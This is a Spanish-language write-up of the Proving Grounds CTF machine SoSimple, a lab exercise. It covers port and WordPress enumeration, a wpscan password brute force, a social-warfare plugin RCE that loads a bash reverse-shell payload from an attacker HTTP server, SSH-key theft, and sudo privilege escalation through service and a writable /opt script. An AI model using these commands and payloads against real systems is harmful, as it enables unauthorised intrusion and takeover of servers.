🟠SoSimple

Write-up de la máquina SoSimple de Proving Grounds #writeup #walkthrough

Enumeración

Enumeración de servicios abiertos

Vamos a comenzar la resolución del CTF SoSimple enumerando los puertos que tiene la máquina abiertos. Comenzamos por una enumeración rápida de los servicios.

nmap -p- --open --min-rate 1000 -Pn -n -vvv 192.168.98.78

Dos puertos abiertos: 22 y 80. Veamos que versiones se están ejecutando.

nmap -p22,80 -Pn -n -sVC -vvv 192.168.98.78

Servicios abiertos:

  • Puerto 22 -> SSH -> OpenSSH 8.2

  • Puerto 80 -> HTTP -> Apache httpd 2.4.41

Enumeración Web

La máquina víctima está ejecutando un servicio Web en el puerto 80. Vamos a ver el contenido del sitio Web.

No hay gran cosa en el sitio Web, más allá de esta imagen. El siguiente paso será la enumeración de directorios y archivos.

dirsearch -u http://192.168.98.78 -i200,301 -e txt,html,php 

Existe un directorio /wordpress. Vamos a ver su contenido.

Parece que estamos ante un CMS WordPress. Podemos utilizar la herramienta wp-scan para tratar de extraer más infomración de este CMS.

wpscan --url http://192.168.98.78/wordpress --enumerate

Encontramos el nombre de dos usuarios del CMS: admin y max.

Vamos a realizar un ataque de fuerza bruta para tratar de encontrar la password de los usuarios admin y max. Para ello, volvemos a utilizar wp-scan.

wpscan --url http://192.168.98.78/wordpress -U max -P /home/elhackeretico/rockyou.txt

La primera información interesante que nos devuelve es la ejecución del plugin social-warfare

También encontramos la contraseña del usuario max, opensesame.

Explotación

Haciendo uso de las credenciales obtenenidas, vamos a tratar de iniciar sesión en el panel de administrador del CMS.

http://192.168.98.78/wordpress/wp-login.php

Una vez que proporcionamos las credenciales y pulsamos el botón de confirmación, logramos acceder al perfil de Max. Intentamos subir una shell desde este punto para tener control de los comandos del sistema objetivo, sin embargo, el intento no tuvo éxito.

Durante el proceso de enumeración, también encontramos algunos complementos vulnerables, así que intentemos identificar las vulnerabilidades en estos complementos. Buscamos la versión del complemento en Google y encontramos un exploit de ejecución de código remoto para el complemento instalado, como se puede ver en la captura de pantalla que aparece a continuación.

Investigamos el exploit y descubrimos que hay ciertos pasos que deben seguirse para ejecutarlo con éxito.

Creamos un archivo llamado payload.txt con el siguiente contenido.

<pre>system("bash -c 'bash -i >& /dev/tcp/192.168.49.98/8080 0>&1'")</pre>

El siguiente paso será levantar un servidor http con Python para poder enviar el archivo al sistema víctima.

python3 -m http.server 80

También levantaremos un oyente nc en el puerto indicado en la shell.

Después de seguir todos estos pasos, deberemos ejecutar la URL que se indica en el exploit anterior, cargando el payload que hemos generado.

http://192.168.98.78/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.49.98/payload.txt

Después de ejecutar esto, ya tendremos conexión con la máquina objetivo.

Vamos a tratar de buscar la flag local.txt

Pivotando de www-data a usuario max

Vamos al directorio /home, para ver que usuarios tiene el sistema.

Dos usuarios en el sistema. Vamos a enumerar el contenido de ambos usuarios de la siguiente manera:

find . 2>/dev/null

Encontramos los siguientes archivos que pueden ser interesantes. Todos son rabbits hole exceptuando aquellos del usuario max relacionados con SSH. Vamos a copiar la id_rsa del usuario max para tratar de conectarnos a la máquina víctima con este usuario a través de SSH.

Ahora tratamos de conectarnos a través de SSH de la siguiente manera:

nano id_rsa (crear archivo)
chmod 600 id_rsa
ssh -i id_rsa max@IP

Ya tenemos conexión en la máquina objetivo como usuario max.

Pivotando de usuario max a usuario steven

Una vez nos conectamos a la máquina como usuario max, vamos a tratar de elevar privielgios. Comenzamos con sudo -l para enumerar que puede ejecutar el usuario max como root sin contraseña.

Interesante, podemos ejecutar el binario service pero como usuario steven, lo que nos puede servir para pivotar hacia este usuario.

sudo -u steven /usr/sbin/service ../../bin/bash

Ya como usuario steven, vamos a volver a enumerar vectores de elevación de privilegios.

El usuario steven puede ejecutar la aplicación server-health.sh como root. Veamos como podemos elevar privilegios aprovechando este vector.

Si tratamos de buscar el archivo, vemos que no existe.

Veamos los permisos de esa carpeta.

El usuario steven tiene acceso de escritura en el directorio /opt , por lo que únicamente debemos crear el archivo y luego, ejecutarlo como root.

mkdir /opt/tools
echo -e '#!/bin/bash\nexec /bin/bash' > /opt/tools/server-health.sh
chmod +x /opt/tools/server-health.sh
sudo /opt/tools/server-health.sh

Solo quedará buscar la flag root para finalizar la resolución de este CTF.

Last updated